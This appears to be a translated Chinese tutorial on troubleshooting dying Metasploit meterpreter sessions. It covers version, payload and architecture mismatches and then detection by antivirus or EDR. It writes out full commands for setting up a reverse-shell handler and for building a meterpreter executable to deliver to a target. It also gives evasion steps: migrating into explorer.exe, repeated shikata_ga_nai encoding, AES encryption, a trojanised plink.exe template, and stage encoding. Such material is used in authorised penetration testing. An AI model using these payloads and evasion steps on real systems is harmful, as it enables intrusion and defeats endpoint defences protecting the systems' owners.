前言
本文将分析常见的meterpreter session终止的原因，并提供相应解决方案。
使用Metasploit Framework时，你可能时常遇到meterpreter session终止的情况，你呆呆地望着控制台的错误信息提示“Meterpreter session 1 closed. Reason: Died”
本篇文章，我们将探究发生这些错误的原因，并提供相应解决方法。
原因一：Metasploit版本不兼容
Meterpreter会话终止的一个常见原因是，使用一个版本的Metasploit（例如v5）生成payload，但是却使用另一个版本的Metasploit（例如v6）来接收Meterpreter连接。
由于不同版本的Metasploit彼此不完全兼容，因此无法使用。 使用不兼容的Metasploit版本会引发各种错误，包括下列错误：
[] Started reverse TCP handler on 192.168.24.5:8443
[] 192.168.1.2 - Meterpreter session 1 closed. Reason: Died
[*] Meterpreter session 1 opened (192.168.24.5:8443 -> 192.168.1.2:49257) at 2020-12-09 08:24:55 -0400
解决方法
针对这种情况，解决方法非常简单，只需确保在两端始终使用相同版本的Metasploit。
例如，如果你正在使用MSFv6生成payload，请确保也使用MSFv6接收连接（或连接到目标）。
原因二：payload不匹配
meterpreter session终止的另一个常见原因是在使用exploit/multi/handler模块时使用了错误的（不匹配）payload。
exploit/multi/handler是一个通用的payload处理程序，用于处理来自独立payloads或exploits的连接，通常使用msfvenom手动生成。
为了实现所需功能，通常要求指定的payload在两端都必须精确匹配，此处很容易犯错。
例如，我们可能在msfvenom中指定使用windows/meterpreter/reverse_https模块payload，而在msfconsole中，却错误地选择了windows/meterpreter/reverse_tcp模块payload。
这可能会导致多种错误，包括以下几点：
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.204.3:8443
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:01 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] - Meterpreter session 2 closed. Reason: Died
[*] Meterpreter session 3 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 4 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*] - Meterpreter session 3 closed. Reason: Died
[*] - Meterpreter session 4 closed. Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] - Meterpreter session 5 closed. Reason: Died
[*] Meterpreter session 5 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:06 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] - Meterpreter session 6 closed. Reason: Died
[*] Meterpreter session 6 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 7 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*] - Meterpreter session 7 closed. Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 8 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 9 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500
解决方法
如前所述，我们必须确保在msfvenom和msfconsole的两端都使用相同的payload。
下面以windows/x64/meterpreter/reverse_https模块payload为示例，演示如何正确设置multi handler。
（1）设置multi handler listener
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 10.11.0.5
msf6 exploit(multi/handler) > set LPORT 8443
msf6 exploit(multi/handler) > run
（2）生成独立的meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o runme.exe
现在，一旦将runme.exe可执行文件投递到目标上并运行，我们就会收到meterpreter session，过程中不存在任何问题：
原因三：架构混淆（32位/64位）
在使用Metasploit时，在选择处理器体系结构时犯错误，将它们混淆在一起。
如果我们犯了这样的错误，则可能导致以下错误：
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.204.2:8443
[*] Sending stage (206403 bytes) to 192.168.100.1
[*] Meterpreter session 4 opened (192.168.204.2:8443 -> 192.168.100.1:50146) at 2020-12-09 13:07:30 +0400
[*] 192.168.100.1 - Meterpreter session 4 closed. Reason: Died
msfconsole没有响应，我们必须通过^ C（Control + C）按键手动中断会话：
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) >
解决方法
确保不要在msfvenom和msfconsole中混用了处理器体系结构。 两端只能使用32位或64位payloads。
32位、64位payloads示例：
被AV/EDR所斩杀
Meterpreter session 1 closed. Reason: Died错误的另一个常见原因是，某些情况下meterpreter被目标机器上运行的AV(杀毒软件)/EDR（终端检测响应）检测到了。
在这种情况下，meterpreter进程将会被杀死，从而导致以下结果：
[*] Started reverse TCP handler on 192.168.204.2:8443
[*] Sending stage (985320 bytes) to 192.168.100.1
[*] Meterpreter session 1 opened (192.168.204.2:8443 -> 192.168.100.1:39854) at 2020-12-30 10:33:14 +0400
meterpreter >
[*] 192.168.100.1 - Meterpreter session 1 closed. Reason: Died
请注意，在stage投递之后、session成功建立时，meterpreter会话仍会终止。
这会发生在会话期间的任何时刻。
解决方法1：迁移到其他进程
我们可以采取这样一个技巧：尽快将meterpreter进程迁移到另一个良性进程（例如explorer.exe 或是svchost.exe），以此躲避AV查杀。
需要注意的是，进程迁移仅在Windows目标上有效，因为UNIX系统不具有执行这些任务的功能（系统API）。是的，我说的正是CreateRemoteThread、WriteProcessMemory和其他允许进行进程注入的Windows API。
Metasploit框架使我们可以在会话建立后，使用以下高级选项之一实现meterpreter进程的自动迁移：
- InitialAutoRunScript
- AutoRunScript
以下是如何将Meterpreter自动迁移到explorer.exe进程的示例：
msf6 exploit(..) > set AutoRunScript "migrate -n explorer.exe"
msf6 exploit(..) > run
解决方法2：混淆混淆混淆，重要的事情说三遍
混淆显然是一个非常广泛的话题，可以说有无限的方法可以逃避AV检测。
从AV的角度来看，使用以下技巧还可以使meterpreter更难被发现。
建议1：Payload encoding (msfvenom)
使用msfvenom生成payload时，我们可以使用各种编码器甚至加密算法来混淆最终的投递程序。
这是一个使用shikata_ga_nai编码器进行10次迭代来编码的payload，并且还使用aes256算法来加密内部shellcode的示例：
msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 10 --encrypt aes256 -x /usr/share/windows-binaries/plink.exe -o runme.exe
通过以下命令，可以查看其他编码和加密选项：
msfvenom --list encoders
msfvenom --list encrypt
建议2：Stage encoding (msfconsole)
打开meterpreter会话时，当metermeter stage被发送到目标时，传输的网络流量中有一些特定的、易于识别的字节。
尝试在msfconsole中使用EnableStageEncoding高级选项对stage进行编码：
msf6 exploit(..) > set EnableStageEncoding true
msf6 exploit(..) > run
这可能会有助于规避某些AV，以防meterpreter会话被杀死。
查看msfconsole中的其他选项：
msf6 exploit(..) > show advanced
msf6 exploit(..) > set StageEncoder [TAB] ..
故障排除技巧
这里有一些技巧，可以帮助你解决Metasploit中的问题，不仅是针对与meterpreter会话终止有关问题，而且面向其他相关问题。
Increase logging
msfconsole中有一个全局LogLevel选项，用于控制打印日志的详细程度，可以设置1到5之间的数值：
msf6 exploit(..) > setg LogLevel 5
检查Metasploit日志
发生错误后，检查Metasploit日志文件，了解一下发生了什么：
cat ~/.msf4/logs/framework.log
快速诊断信息
当发生错误（例如meterpreter 会话终止）时，可以通过在msfconsole中运行debug命令来快速获取诊断信息：
[*] 192.168.100.1 - Meterpreter session 1 closed. Reason: Died
msf6 exploit(..) > debug
此举会打印出各种可能有用的信息，包括Metasploit日志文件本身的相关片段。
Metasploit wiki pages
查看以下资源，以调试终止的meterpreter会话：
https://github.com/rapid7/metasploit-framework/wiki/Debugging-Dead-Meterpreter-Sessions
总结
向Metasploit框架报告issue之前：
- 确保目标和msfconsole两端都使用相同的payload和体系结构（32位/64位）
- 检查是否使用与接收meterpreter相同版本的Metasploit来生成payload
另外，为避免杀毒软件检测到meterpreter，导致meterpreter会话终止：
- 仅选择使用加密通信信道的payload，例如：
- meterpreter/reverse_winhttps
- meterpreter/reverse_https
- meterpreter/reverse_tcp_rc4
- meterpreter/bind_tcp_rc4
- 配置meterpreter进程自动迁移到另一个（良性）进程
- 使用可用的payload编码、加密和混淆选项